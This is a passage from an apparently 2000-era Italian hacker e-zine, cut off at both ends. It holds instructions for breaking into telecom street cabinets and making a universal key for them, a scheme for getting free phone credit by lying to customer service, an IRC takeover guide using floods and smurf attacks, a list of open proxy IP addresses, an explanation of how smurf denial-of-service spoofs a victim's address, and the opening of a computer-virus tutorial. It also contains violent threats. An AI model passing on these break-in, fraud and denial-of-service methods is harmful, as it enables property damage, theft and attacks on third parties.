fare leva e poko dopo dovrete sentire scrock. senza però vedere dall'esterno.... perkè? perkè il "chiodo" che teneva insieme la chiusura e lo sportello hanno ceduto... hehehe... e dall'esterno sembra tutto normale..;) fate così anke per la parte centrale (che è quella + dura, avendo 3 fissaggi)e quella inferiore e lo sportello si apre mentre la serratura, levata dai suoi appoggi vi cade in mano.. vi consiglio di tenervi la serratura che poi ci servirà per la prossima tecnica.... 3) Eccoci qui alla tecnica + raffinata.... avete mai visto lupin con un piede di porko??? questo consiste nel farsi una bella chiave che apre tutte le serrature delle centraline (che sono tutte uguali..:) PREMESSA: ATTENTI ALLA BAVA CHE VI STA SCENDENDO DALLA BOKKA..HIHIHI OCCORRENTE - una serratura staccata dalla centralina con cui armeggiare a casa - un seghetto per legno - un pezzo di legno - un calibro (o un qualkosa con cui misurare in modo preciso) - una lima per legno - un ferretto abbastanza spesso cilindrico (diciamo 2mm di diametro) Spaventati dall'occorrente? eheheh.... inizio col dirvi la costruzione e il metodo di chiusura delle serrature le serrature hanno (la parte chesi vede) una forma ovoidale con un vistoso rigonfiamento nel mezzo allecui estremità sono collocati 2 spunzoni che servono a blokkare.... sono sikuro che non avete capito un kazz, quindi vi consiglio di procurarvi la serratura, cmq in parole povere (a prescindere dalla forma) la serratura è data da 2 piatti sovrapposti, quello inferiore presenta 2 spunzoni con sotto una molla ciascuno... quando gli spunzoni arrivano al livello del I si può girare e perciò aprire la serratura.... OK, il principio con cui aprirla è semplice: fare una formina di legno con cui portere comodamente gli spunzoni a livello di I piatto.... Prendete perciò il calibro e prendete ACCURATAMENTE tutte le misure, disegnate la forma sul legno, la tagliate, ci applicate il ferro dietro (inkollatelo) e provate a vedere se entra (MOLTO probabilmente NO)... usate la lima per adattarlo.. quando sarà "giusto", pigiate e girate... ops mi si è aperta...;))))) Non è facile fare la formina di legno e ci perderete un po' di tempo, ma poi avrete una bella chiave universale con cui aprire le centraline, non so se mi spiego..... Ultimo consiglio.... l'ora: se è in una zona poko trafficata della città, potete anke iniziare di giorno, sikuramente, però, meglio di notte ma... attenti!!! NON ANDATECI DI SERA TI ALLE 9-10, quando cioè è buio ma la gente è sveglia e si affaccia alle finestre per una bokkata d'aria..... pensate che io ho fatto questo errore in una cabina con a mezzo metro una makkina e un uomo mi ha inseguito perkè pensava stessi armeggiando sulla SUA makkina..... L'articolo è finito e spero vi sia di aiuto... forse nel futuro (magari dalla prossima uscita di AiS) faro una guida al phreack, ma prima devo imparare io...:) Ultimo consiglio.... l'ora: se è in una zona poko trafficata della città, potete anke iniziare di giorno, sikuramente, però, meglio di notte ma... attenti!!! NON ANDATECI ----C{h}e---- Disclamer: se qualkuno vi bekka o vi rompe non mi rompete il kazzo perkè io non ho scritto questo e non so niente di hack phreack.. ok? ---C(h)e--- ############################ #+-----------++-----------+# #| cElluLaRs || cElluLaRs |# #+-----------++-----------+# ############################ -=!!!|-fUcK dA oMnItEl?-|!!!=- Autore: dr^sP3nKy Ave terrestri....so' ke vi ho rotto il kaxxo kon i miei artikoli ma mi dovrete cibare da kuesto Ais no.2 fino alla fine,non di Ais ,ma dei vostri giorni. :) Musika Askoltata : - T-Love (S.o.S. Ska) - Böhse Onkelz (Oi Oi Oi) - Exploited (Hitler`s in da Charts again) - Oi Polloi (`nkasino de canzoni...) - Peter And The Test Tube Babies (Vicars Wank Too) Frase del Giorno (skontata) : << Lella ma non me kiami? >> Artikolo Dedicato : agli Atra,elsa ,mich ,Yoghi ,tutte le ragazze ke hanno le palle da farsi la cresta ( me lo facciano sapere se ne esiste kualkuna sp3nky@freemail.it ), a lili ,Eva_Kant , lella (anke perke' me mena se non la cito) e a dAniele mio caro amiko ke vedo poko( oi! ). Avviso del giorno a tutti i papponi di Roma : State per finire la vostra lurida vita UazUAzuazUAzUazUAzUAzUazUAzUuaZ , avete rotto il kazzo di far andare piskelle ke non voglio dare la figa sui marcia piedi....kom'era? ...Kuando volete una partitina ai nos’koltelli...... ...UazuAzuAz....state per morire tutti. Le Strade saranno pulite un giorno. Un Grosso Fankulo a tutti i tipi ke dikono ke Anarchy In The System e' una `Zine formata da rippatori (gente ke kopia artikoli di altri ,mettendo alla fine il proprio nick) oi! oi! oi! NON So` Se Kuesto Trukketto Funzioni Ankora. Se avete una skeda rikarikabile Omnitel potete farvela rikarikare *gratis* , kuesto dipende da kuanto usate il vostro cell per mandare Sms. Dovete sapere ke il cellulare della Samsung ,modello SGH600 , non supporta bene la skeda Omnitel , kuindi ki ha la sfortuna di averlo komperato e usa skeda Omnitel si ritrova degli addebiti Sms numerosi anke se non ha usato il servizio Sms kosi' tanto. Ekko kome fare : Kiamate il 190 (cioe' il centro servizi della Omnitel),dite all'operatore e all'operatrice kon voce un pokino inkaxxata ke kuando parlate al cell secondo voi skalano troppi soldi anke se parlate poko. Kiedete se vi kontrollano il credito (dato ke il credito non sta sulla skeda). Dite ke avete il SGH600 della Samsung.L'operatore vi dira' ke se avete kuesto cell il problema rimarra'. Rispondete ke avete venduto il cellulare e ora ne avete un altro. L'operatore vi aumentera' il credito,dipende, kome ho detto prima, da kuanto usate il vostro cell. Se bekkate l'operatore stronzo tentate a kiamare piu' tardi e provate kon un altro operatore. Pikkalì a Tutti Ich Mag Den Punk oi! ---iL dR`sP3nKy--- -=!!!|-SMS gRatiS c0n 0mNitEl? -[upDaTe]-|!!!=- Autore: 0lDir0n61 Questo articolo e' per avvertirvi del fatto che il metodo spiegato da me nel numero precedente dell' e-zine (4Y prima del msg.) non serve per mandare msg a scrocco, ma semplicemente per avere la notifica dell'arrivo del messaggio! Un grazie a chi ha segnalato questo mio errore: sp3nky & Cavallo de Cavallis Ciao a tutti ed alla prossima!!! ---0lDir0n61--- -=!!!|-kazZate kE gIrAn0 sUlLa rEte-|!!!=- Autore: Sp3nkY sAlve raga.....ho notato ke un boato di gente manda un sakko di sMs con il proprio c3llo[...lare]e tenta di mandarli gratis[e] mettendo o yyyymessaggio oppure yyyyciaomessaggio [questo solo da omnitel a omnitel,almeno mi pare,xke' da omnitel a wind non funzia],il risultato e' ke vi arrivera' una scritta simile [xke' non me la rikordo]: ##STATUS## Delivered. sent at 0###-####### . ( il messaggio che si riceve e': " Delivered. Message sent at: 03xx-xxxxxxx (Data e ora) (*sc:0)" ) Quindi il servizio serve solo per sapere quando arriva l'sMs sul cellulare destinatario. C'e' anke ki cambia [sui cellulari a contratto TIM] il centro degli sms mettendoci quello della Netcom ke non funzia oppure cancellano il messaggio dell'addebbito e spengono il cellulare. se n0n l'avete ankora capito tutti sti metodi del cazzo tipo leggende metropolitane ve fanno pagà lo stesso gli sms. sE penSate di rikarikarvi le vostre skede omnitel e tim kon quei programmi [kazzo,come se kiamano?] ke vengono spacciati per generatori de kodici vi conviene stakkarvi da soli le k0rNe3 prima ke lo faccia il vostro monitor. Quello della TIM lo dovrebbero aver fatto sotto l'effetto di peyote [=la meskalina],invece quello della omnitel genera numeri + kredibili ma ke almeno a me non funziano. p0rka l'oka quanto sto skazzato,Lella perke' non mi kiami? [skusate ma lo dovevo dire.....] ekko tutto quello ke avevo da dire.....non sono neanke un wannabe decente [ke ce volete fa?] un saluto a tutti in particolare a tutto #aprilia #futurezone e #italia^ , a merce[D],^-Hiolz-^,francy15 (bau!!)e a ritacc[quella ke il fato non ha fatto mia mamma..smack] ---sP3nKy--- ############################### ####### III RRRR CCCC ####### ####### III R R C ####### ####### III RRRR C ####### ####### III R R C ####### ####### III R RR CCCC ####### ############################### -=!!!|-IrC_WaR tUt0rIal-|!!!=- Autore: LoRD`xYz L'irc-war non e' altro che le guerre virtuali che si fanno in rete fra le crew soprattutto in IRCNET; dunque il tutto sta' nel far cadere persone o bot per prendere il possesso di un canale, adesso spieghero' bene e in modo semplice come fare. prendiamo un canale dove non sono presenti bot facilissimo fare take ci sono svariati modi, ne spieghiamo alcuni: 1) take con op 2) take senza op 1) take con op e' il piu' facile se avete l' op basta deoppare tutti e il gioco e' fatto! Basta entrare con un nick da donna entrare in query con un maschio fare la puttana e lui crollera' ai vostri piedi poi fate la fatidica domanda :" come si diventa operatori, mi fai vedere ??" Dopo che avrete l'op il piu' difficile e' fatto; nel frattempo dovrete aver gia' caricato 10 cloni d'assalto anche senza socks intanto non ci sono bot che riconoscono i cloni li oppate veloci e fate il comando max deop e il gioco e' fatto senza aver fatto fatica a questo punto mettere il canale +ismtn e kikkate tutti 2) take senza bot e' un po' piu' difficile ma non tanto dovrete avere i vostri fidati cloni d' assalto , ma per maggior sicurezza metteteli su socks tutti e 10 o almeno 5 cosi' dovranno fare + fatica a bannarli quando entrerete a fare del gran flood ma prima sempre con i vostri cloni teneteli in canale vostro e incominciate a fare del gran ping flood poche persone hanno attivo la protezione da ping e le vedrete cadere come merde in excess flood poi a questo punto fate un bel part/join in canale o un notice flood per finire quando saranno tutti deop poi continuate finche' non cadranno tutti a questo punto alla velocita' della luce fate uscire i bot e entrate veloci nel canale poi settate il canale come indicato nel punto 1 Adesso vi spieghero' il modo per fregare i bot che a volte sono piu' stupidi degli esseri umani se settati male o messi su shell di merda. Il primo punto che vi ho spiegato puo' andare ben anche con bot basta che i cloni siamo tutti su socks con l' op si fa tutto. Ma se non lo avete tentare un attacco diretto non servirebbe a un cazzo solo a farvi ridere dietro o avete molti amici con 10 cloni allora la storia cambia; io vi sto spiegando a fare take con le vostre forze da soli. Anche qua ci sono due modi: 1) con uno split 2) con lo smurf 1) con uno split (parto dal pressupposto che sappiate cos'e' uno split) se non lo sapete fra poco uscira' il mio memorandum proprio per chi non sa nulla di internet e roda varia (pubblicita' occulta:))))))))) ). Non crediate che siano sempre i bot i piu' veloci a connettersi dopo uno split ci sono dei socks che sono piu' veloci delle shell ci sono state molte volte che sono riuscito a fregate i bot ihhihihihihi dunque basta tenere un clone pronto su socks che vada e lo farete connettere quando arriva lo split molte volte il server vi mettera' come op dopo bastera' mettere i cloni sul un server linkato non splittato e quando si server si rilinkano il vostro clonino oppera' gli altri e i bot si faranno fottere , molto bello vedere il proprietario dei bot che smadonna su come un povero scemo con solo un socks abbiamo potete fregare i suoi bot che gli costano ogni mese dei soldi ;))))))) 2) con lo smurf : dovrete avere linux, una shell e un buon bnc e lo smurf e' un programma,lo troverete in qualsiasi motore di ricerca, basta solo compilarlo e il gioco e fatto adesso mettete l' ip del bot e il povero bot verra' bombardato da milioni di ping e dopo un po' cadra' inesorabilmente con un bel ping time out. Fra un po' lo smurf sarà morto visto che fra un po' i server controlleranno il contenuto di ogni pacchetto e quindi lo rimanderanno al mittente con tanti saluti sarai autosmurfato, ma ricordate sempre fatta la legge trovato l' inganno non passera' molto tempo e saranno fregati anche quei server con il controllo ; e'come quando uscirono i log dicevano che era impossibile hackerare ehhhhhhhhhhhhhhhhhhh proprio impossibile:))))))))))) P.S : io sono fermamente contro le cose che ho indicato sopra per me sono comportamenti da lamer che non vanno fatti rompere le palle alla gente che chatta in compagnia con take nuke e lamerate varie, non so se leggerete quanto io sto scrivendo adesso o sarete li a caricare cloni in questo momento , ma vi vorrei dire pensate prima a quello che state facendo ; io non sono nessuno per impedirlo , lo ho fatto anche io quando a 16 anni ma adesso ho smesso e' un periodo in cui dovrete pensare se rimanere lamer o fare qualcosa d' altro. Adesso vi saluto adios A/\/ARCHY RULEZZZZZZzzzzzzzzzZZZZZZZZZ!!!!!!!!!!!! ---LoRD`xYz--- -=!!!|-lIsTa s0cKs & wInGaTeS-|!!!=- Autore: SONOunuomo La scuola mi assedia i pirla mi assediano lo stress mi assedia non ho voglia di studiare non pero' e' fine anno e quindi DEVO farlo faccio sto articolo perche' ho le palle che mi girano e ho voglia di scrivere stronzate ... c'e' un mio compagno di classe che dice che windows e meglio di linux e ne e' pienamente convinto e lo voglio picchiare!!! Dubbio del giorno : Io Sono un lamer si o no ??? sono un wannabe si o no ??? sono un newbies si o no ??? sicurezza del giorno : io non sono un hacker !! Questo articolo non e' altro che uno spudorato copia-incolla di un po di indirizzi socks e wingate trovati nella rete. Pero' sono sicuro che vi sara' piu' utile di tutti quegli articoli di 100000 pagine che vi spiegano cos'e' un proxy o un wingate e non ve ne danno alcuno e ne' vi dicono dove trovarli LISTA AGGIORNATA AL 5-04-2000 SOCKS 4 (Port 1080) HOSTNAME IP ADDRESS NotFound,12.2.81.50, NotFound,194.243.99.199, NotFound,194.243.99.162, NotFound,194.204.206.160, NotFound,194.204.204.137, NotFound,194.186.180.100, NotFound,194.149.137.11, mail.ermanco.com,12.2.82.130, NotFound,195.14.162.221, NotFound,195.14.162.220, proxy.indussoft.com,12.26.8.18, theleu.lnk.telstra.net,139.130.74.160, noeljo9.lnk.telstra.net,139.130.54.153, altona.lnk.telstra.net,139.130.80.123, patter.lnk.telstra.net,139.130.81.160, mccabe.lnk.telstra.net,139.130.59.187, edtn002050.hs.telusplanet.net,161.184.144.18, NotFound,195.5.59.227, igic.bas-net.by,194.85.255.49, NotFound,195.178.196.250, NotFound,195.178.196.251, jovellanos.com,194.224.183.221, NotFound,195.42.150.132, NotFound,200.36.19.225, rnpbn.microdata.ro,195.179.246.130, ns.ukrnafta.ukrtel.net,195.5.22.193, server3.italcontainer.it,195.135.39.189, news.ukrnafta.ukrtel.net,195.5.22.196, comm.atv.volga.ru,195.144.196.129, www.ukrnafta.ukrtel.net,195.5.22.195, mail.theova.com,195.14.148.65, p107.nas2.is3.u-net.net,195.102.196.235, NotFound,203.21.16.182, limedika.balt.net,195.14.161.169, NotFound,203.116.5.58, C824154A.podernet.com.mx,200.36.21.74, internet-server.ebf.com.br,200.231.27.1, t2s187.data.net.mx,200.13.19.196, dns-server1.tj.pa.gov.br,200.242.244.1, cas.cecosami.com.pe,200.37.242.3, pcse.essalud.sld.pe,200.37.132.130, m105.clic-in.com.br,200.231.28.15, ad202.166.34.39.magix.com.sg,202.166.34.39, c111.h202052116.is.net.tw,202.52.116.111, nor24788-1.gw.connect.com.au,202.21.13.46, ad202.166.33.67.magix.com.sg,202.166.33.67, sripenanti01-kmr.tm.net.my,202.188.62.6, ad202.166.38.229.magix.com.sg,202.166.38.229, BlackBox01.irg.com.au,203.21.16.201, NotFound,206.103.12.131, secure.hnlfleet.com.au,203.21.16.177, relectronic.ozemail.com.au,203.108.38.61, cipher.ruksun.com,204.94.124.135, tconl9076.tconl.com,204.26.90.76, 52-012.al.cgocable.ca,205.237.52.12, 52-061.al.cgocable.ca,205.237.52.61, NotFound,206.112.35.146, jnet.vip.best.com,206.184.160.227, NotFound,207.0.119.67, NotFound,209.166.180.19, dsl-148-146.tstonramp.com,206.55.148.146, proxy.imojo.net,206.112.35.222, mail.clintrak.com,206.112.35.178, NotFound,210.237.181.226, proxy1.israeloff.com,206.112.35.156, sai0103.erols.com,207.96.118.243, ch-angrignon.qc.ca,207.236.200.66, 207-246-74-54.xdsl.qx.net,207.246.74.54, ae2.lightlink.com,207.127.235.190, 122-94.w3.com.uy,207.3.122.94, admin.chestnut.org,208.16.57.40, brsh4.carol.net,208.128.229.100, brsh2.carol.net,208.128.229.98, adsl-209-182-168-236.value.net,209.182.168.236, ip48.gte5.rb1.bel.nwlink.com,209.20.218.48, NotFound,210.56.18.228, smtp.netcarrier.net,209.140.172.6, martinselig.com,209.20.156.130, billymchales.com,209.20.195.10, ns.ticketport.co.jp,210.160.142.82, ipshome-gw.iwahashi.co.jp,210.164.242.146, wingate.shokoren.or.jp,210.145.221.99, ns.isd-japan.co.jp,210.161.71.114, NotFound,212.205.26.80, NotFound,212.47.11.130, ns.wings.co.jp,210.168.241.106, NotFound,212.22.69.35, NotFound,212.68.162.183, jp-gw.jprint.co.jp,210.164.234.2, sanpx1.san.town.sonobe.kyoto.jp,210.160.246.9, dns.rikcad.co.jp,210.170.89.210, dns.hokuto.ed.jp,210.233.0.34, NotFound,212.68.162.177, dns1.ctsjp.co.jp,210.172.87.146, NotFound,216.72.45.152, ftp.eclectica.net,212.210.32.228, ns.terna.ru,212.188.26.67, mail.trutnov.cz,212.27.207.8, ftp.sdi.kiev.ua,212.68.162.17, zskom.vol.cz,212.27.207.7, www.chania-cci.gr,212.205.27.194, www.sos.iqnet.cz,212.71.157.102, cr216724718.cable.net.co,216.72.47.18, 216-59-38-142.usa.flashcom.net,216.59.38.142, symbolics.org,216.103.122.180, 216-59-40-72.usa.flashcom.net,216.59.40.72, mail.savvyuser.net,216.103.122.178, cr216724724.cable.net.co,216.72.47.24, www.cassvillesd.k12.wi.us,216.56.42.3, www.dyvic.com,24.92.249.251, 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connessione che diventano verdi fosforescenti. Cmq lo smurf non e' tutta questa grand sofistichezza (ndr. non so' se esiste sto termine ma e' uguale) infatti e' solo un sistema di sfruttare un bug delle grandi reti con tecnici molto stupidi! ____________________________ ----< Ma Come Funziona? >---- ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ Se c'e' un DoS semplice questo e' lo smurf. Infatti esso e' una semplice risposta a un pacchetto icmp con il FLAG SYN attivo, questo flag obbliga il server a rispondere al pacchetto con un'altro pacchetto. Lo smurf sfrutta questo fatto per portare un attacco devastante al vostro modem facendo morire vostra connessione. Lo smurf si basa sulla porta broadcast dei server (x.x.x.0 oppure x.x.x.255) con server che hanno al loro seguito molti, molti pc, e a questa porta broadcast non controllata, viene inviato un pacchetto icmp con FLAG SYN. Il server risponde, il bello e' che non risponde solo lui, infatti inviando il pacchetto al server lo si invia anche a gli altri pc a cui e' collegato! Badate xo' non e' che tutti i server ab- biano la porta broadcast acessibile altrimenti sarebbe uno smurfa smurfa generale, non e' che se mandate un icmp SYN a tin.it vi rispondono 30.000 pc di tutta italia, ma avete una buona pos- sibilita' che il server risponda come sperato se si trova in Cina o oppure in Russia, insomma dove il pc piu' potente e' il C64! Ma uno smurf fatto da un solo server non farebbe nulla anche xche' le broadcast con molti pc al seguito sono poche; allora si avra' bisogno di una lista "BroadCast" Ma prima di vedere i dettagli sullo smurf vediamo il protocollo TCP/IP molto, motlo schematizzato: _____________________________________ | INTESTAZIONE IP | | ___________ _______________ | | |IP SORGENTE|-----|IP DESTINAZIONE| | | ŻŻŻŻŻŻŻŻŻŻŻ ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ | | INTESTAZIOEN ICMP | | ___________ _______________ | | | TIPO |-----| CODICE | | | ŻŻŻŻŻŻŻŻŻŻŻ ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ | | DATI ICMP | | | ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ ____________________________ ----< VOGLIO I DETTAGLI! >---- ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ il programma x lo smurf crea un pacchet- to icmp contraffatto. Voi direte e xche'? Se avete seguito quanto detto su' potete immaginarlo. Voi siete masochisti? Vi fareste del male? Beh allora penso che non manderete mai un icmp SYN a un server con la porta broadcast accessibile! E allora se volete fare danno a qualcuno? Mandate un Pacchetto icmp SYN a questi server che abbiano come ip sorgente quello della vit- tima! Ed e' a questo che serve il programma smurf. Lui crea un Pacchetto ICMP SYN che nell'inte- stazione IP (vedi schema sopra) e al posto del ip sorgente vostro ci mette quello della vittima e come destinazione quella della broadcast! Semplice no? ____________________________ ----< L'ESEMPIO >---- ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ |***********************| |---> brodcast list <---| | x.x.x.x | | y.y.y.y | | z.z.z.z | | h.h.h.h | |---> fine brodcast <---| |***********************| PROGRAMMA: "SMURF" Smurf -----> ICMP: "126.1.1.1" -- "x.x.x.x" Smurf -----> ICMP: "126.1.1.1" -- "y.y.y.y" Smurf -----> ICMP: "126.1.1.1" -- "z.z.z.z" Smurf -----> ICMP: "126.1.1.1" -- "h.h.h.h" E la vittima e' bella che distrutta! ____________________________ ----< COME MI DIFENDO? >---- ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ Bhe se ti accorgi in tempo di essere smurfato ti consiglio di spengere il mo- dem prima che frigga! Non c'e' altra difesa. Tu dirai e il FIREWALL? Il firewall muore all'inizio dello smurf non arriva neanche a meta'! La cosa e' differeante se sei amministra- tore, infatti ci sono delle patch e delle informazioni x quanto riguarda la preven- zione del fenomeno. Con questo chiudo! Byezzz http://members.xoom.it/ValK/ valk@mail.xoom.it ---ValK The King Of The Net--- -=!!!|-gUidA iRc-|!!!=- Autore: Killvearn Irc (internet relay chat) Š sinonimo di un luogo immaginario in cui parlare (appunto chattare) con altre persone di qualsiasi luogo sempre al costo di una telefonata al vostro provider, ma torniamo indietro a parlare de VERO funzionamento degli irc servers. =] Irc servers [= (se non vi interessa andate pure oltre). Un irc server non Š un monumento ai caduti (come sono sicuro che pensavate :-) ma un "normalissimo" computer. PerchŠ normalissimo l'ho messo tra virgolette? Vorrei saperlo anch'io :) . In realt… un motivo c'Š: mentre un normale pc (come quello della maggior parte di voi) con un modem a 56kbits. oppure una ricca adsl (600kbits al sec.) pu• gestire un traffico limitato questi super computer hanno delle linee che tutti noi ci sogniamo capaci di gestire un traffico enorme, questi pc sono chiamati server (si nota l'invidia?). Essi sono collegati (linkati) a molte persone ed a vari servers. I servers irc accettano connessioni solo a determinate porte, alcune di esse sono standard (6667) cioŠ usate dalla maggioranza (se non dalla totalit…) dei servers, mentre altre possono essere a discrezione del server (6666, 6665, 6668, ecc. Ma nessuno vieta che possano essere: 12345, 4555, 5000, ecc.) Una persona per collegarsi ad un server irc deve disporre di un client irc. Se ne possono trovare alcuni in giro ma il pi— comune Š mIRC. =] mIRC [= mIRC Š un client irc che, come abbiamo gi… detto, vi permette di connettervi ad un server irc. Esso pu• essere scaricato da: www.mirc.co.uk. Appena abbiamo il nostro mIRC lo apriamo e notiamo che ci appare qualche informazione sull'autore e su come registrarlo, questa finestra ci apparir… ad ogni apertura del programma, a meno che non leviamo il segno di spunta (la selezione, tanto per capirci) dal quadrato all'angolo in basso a sinistra. Chiusa questa finestra ce ne appare un'altra con alcune scritte, esaminiamole al dettaglio: Nel primo riquadro in alto va inserito il nome del server al quale connettersi. E' possibile scegliere da una lista oppure inserirne un altro cliccando su add (apparir… una finestra in cui inserire i dati relativi al server). Ricordate che su ogniuno dei servers della lista comprende gente diversa a meno che non scegliate diversi servers linkati tra loro. Nel secondo riquadro (full name) invece va inserito il vostro nome (se siete un p• intelligenti non ci mettete quello vero). Nel terzo (e-mail) invece va messa la vostra e-mail (stesso discorso di prima). Nel quarto riquadro (nickname) dovrete specificare un vostro nome d'arte che sar… quello che la gente vedr… nei canali. Nel quarto ed ultimo riquadro (alternative) va messo un nickname di riserva, cioŠ il nick che vi verr… assegnato in caso il primo fosse gi… in uso. Ora premete ok e si chiuder… questa finestra lasciandovi davanti ad una finestrella con la scritta status ed una barra sotto in cui Š possibile scrivere. Li dovete andare a scrivere /identd on naturalmente senza le <>. Sar… grazie a questo nome che il server vi riconoscŠra. Infine premete il fulmine in alto a sinistra e verrete connessi al server. Dopo essere stati connessi al server vi apparir… una finstrella con uno spazio in cui scrivere. L mettete il canale che volete e premete su join. in futuro se vorrete entrare in un altro canale vi baster… digitare nello spazio dello status (ma anche di qualsiasi finestra, solo che se sbagliate a scrivere potreste rivelare qualcosa di personale, tipo password ecc. alla gente) /join #nomecanale. =] Cos'Š un canale? [= Un canale pu• essere considerato come una stanza in cui un gruppo di persone pu• riunirsi e parlare. Se non esistessero vi immaginate come ci starebbero insieme 20000 persone a parlare in pubblico tutte insieme? =] Comandi fondametali del mIRC [= (da scrivere nei famosi riquadri) /join #nomecanale entra in un canale /query chiama in privato la persona desiderata. Si pu• ottenere questo effetto anche con un doppio click sul nick di una persona nel canale. /whois vede tutte le informazioni del nick. /part #nomecanale esce dal canale. /quit si disconnette dal server. /server si connette al server. Dopo aver parlato dei comandi pi— comuni possiamo aprire una finestra sugli operatori di irc. Infatti Irc non Š un luogo dove la gente che si riunisce ha gli stessi poteri, ma ci sono delle persone che hanno un potere superiore. Per fare una gerarchia dei poteri bisogna innanzitutto distinguere i server in server che offrono servizi di registrazione dei canali e server che non li offrono. Esaminiamo i due tipi di server in particolare. =] Server che offrono il servizio di registrazione dei canali. [= Questi server danno la possibilit… di registrare i canali attraverso alcuni comandi. In questi server la gerarchia Š questa: -IrcOp -Founder di un canale -SOp (super op) -AOp (auto op) -User normale Ircop: Questa persona ha il potere su tutti i canali. I suoi poteri sono molto estesi, p—o opparsi da solo su di un canale, oppure kikkare o bannare dal server qualcuno, ecc. Generalmente queste persone non offrono quasi mai un aiuto e quindi se avete qualche problema Š pi— utile chiedere a qualche persona che abbia una buona competenza in materia. Founder di un canale: Il founder di un canale rappresenta il suo proprietario. Egli ha il potere totale sul canale: pu• dare l'op, l'aop, il sop e pu• modificare le impostazioni del canale. Sop: Il sop (super op) Š la persona pi— potente su un canale dopo il founder. Le sue capacit… sono: aoppare e oppare. Anche il sop pu• modificare alcune impostazioni, ma solo il founder ha la piena padronanza di tutte le impostazioni. Aop: L'aop (auto op) Š un utente che viene oppato in un canale ogni volta che vi entra. I suoi poteri non superano quelli dell'op. Op: Pu• oppare, deoppare, kikkare e bannare. Quando esce e rientra nel canale perde tutti i suoi poteri. =] Server che non offrono il servizio di registrazione dei canali. [= In questi server non Š possibile registrare i canali e perci• Š possibile perdere facilmente il possesso dei canali. Per ovviare a questo problema molte persone hanno deciso di farsi il proprio bot personale. Un bot Š uno script residente su una shell. Pi— semplicemente Š un programma inserito in un server (che sta connesso perennemente) che simula la connessione di un utente. Questi bot (abbreviazione di robot) accettano determinati comandi e una volta ottenuto l'op su un canale, non scollegandosi mai, possono oppare chi Š provvisto di una password settata dal proprietario. In questi server la gerarchia Š composta solamente da ircop ed op. ---Killvearn--- ####################################### ####### V V III RRRR III III ####### ####### V V III R R III III ####### ####### V V III RRRR III III ####### ####### V V III R R III III ####### ####### V III R RR III III ####### ####################################### -=!!!|-ViRuS dEi CoMpUtEr-|!!!=- Autore: 0-Zone Discaimer: Non mi assumo alcuna responsabilita' per quanto riguarda il contenuto del seguente file. Gli esempi riportati e le spiegazioni sono esclusivamente per fini didattici. Nessuan responsabilita' potra' essere attribuita all'autore per l'uso impoprio che altri potranno fare del seguente e delle informazioni in esso contenute. Non mi assumo alcuna responsabilita' per eventuali danni causati da uso proprio o improprio del seguente e delle informazioni in esso contenute. Diffido chiunque dal compilare e/o eseguire i sorgenti contenuti in questo testo. Essi sono puramente per scopi didattici. L'autore, in breve, non si assume alcuna responsabilita'. Contenuti: 1) Cos'e' un virus informatico ? 2) Proprieta' comuni 3) Classi dei virus 3.1) Virus Binari 3.1.1) Companion 3.1.2) Overwrite 3.1.3) Filling 3.1.4) Append 3.1.5) Boot 3.2) Virus Non Binari 3.2.1) Hoax 3.2.2) Macro 3.2.3) Exploit 4) Caratteristiche interessanti 4.1) Stealth 4.2) Encription 4.3) Polimorfico 4.4) Anti A.V. 5) Legislazione italiana in materia 6) Dopo la teoria...la pratica ! (0) Conoscenze necessarie per la comprensione del testo Per meglio comprendere il testo e' necessaria una conoscenza basilare dell'Assembly e di come funziona la gestione della memoria (segmenti, offset). Sarebbe meglio conoscere gia' qualcosa dela programmazione sotto MS-DOS visto che i programmi virus sono a *stretto contatto* con il sistema operativo. Consiglio la lettura e la consultazione delle Ralph Brown Interrupt List reperibili, tra l'altro, su Internet. Un manuale di Assembly 8086 sarebbe l'ideale ;) durante la lettura del codice. (1) Cos'e' un virus informatico Analogamente ai virus biologici, un virus informatico e' un programma (un programma !) che replica se stesso. Detto cosi' pero' non e' molto chiaro. Sui libri specifici troverete le definizioni di virus che via via sono nate che pero', coem tutte le definizioni, sono molto difficili da capire. Facciamo un esempio per analogia: un virus biologico e' un "essere" che attacca una cellula. Si replica DENTRO la cellula e manda il suo clone ad attaccare un'altra cellula. Adesso pensiamo alle cellule come ai nostri file eseguibili (non solo, poi vedremo perche') e al virus come ad un virus informatico. Tuttavia esiste una radicale differenza: il virus per agire deve essere eseguito. Infatti un virus informatico e' del tutto simile ad un normale programma che contiene normalissime istruzioni per la macchina ! Proprio per questo motivo e' impossibile, per la CPU, riconoscere il codice di un virus. Tuttavia ci sono dei "segni distintivi" che possono aiutare a riconoscerlo ma ne parleremo piu' avanti. Al momento basti sapere che un virus (da qui' in poi per "virus" intendo virus informatico) e' un programma e deve essere eseguito (non sempre vero, ma poi speghero' xche). (2) Proprieta' comuni dei virus Un virus per essere tale deve fondamentalmente essere in gradi di replicare se stesso. All'atto pratico, nella maggioranza dei casi, cio' non e' sufficente. Infatti esso deve, per quanto possibile, deve seguire le seguenti regole: 1) Essere invisibile 2) Non provocare errori che possano insospettire l'ignaro utente 3) Non occupare troppo tempo macchina 4) Non essere troppo grande La regola 1 e' propria dei virus STEALTH, che con opportune techiche che vedremo, riescono a nascondersi all'utente. Proprio per le regole 3 e 4 e' preferibile scrivere i virus in Assembly, che permette una miglior ottimizzazione del codice. (3) Classi dei Virus Di tipi di virus (o classi) ce ne sono diverse. Non tutti i virus si comportano allo stesso modo, hanno le stesse caratterisiche, gli stessi metodi di infezione,etc. Ecco quindi un breve "struttura gerarchica" di distinsione per i virus: VIRUS +---- BINARI +--- COMPANION | | | +--- OVERWRITE | | | +--- FILLING | | | +--- APPEND | | | +--- BOOT | +---- NON BINARI +--- HOAX | +--- MACRO VIRUS | +--- "EXPLOIT" VIRUS Avverto il lettore che alcune classi non hanno i nomi che ho indicato: questo xche alcune classi NON hanno un nome specifico ;). Partiamo ad analizzare l'albero dalla radice: (3.1) VIRUS BINARI Con la dicitura "Virus Binari" mi riferisco a tutti i virus scritti in un linguaggio di programmazione (generalmente Assembly o anche C) e compilati. I Virus Binari sono percui dei 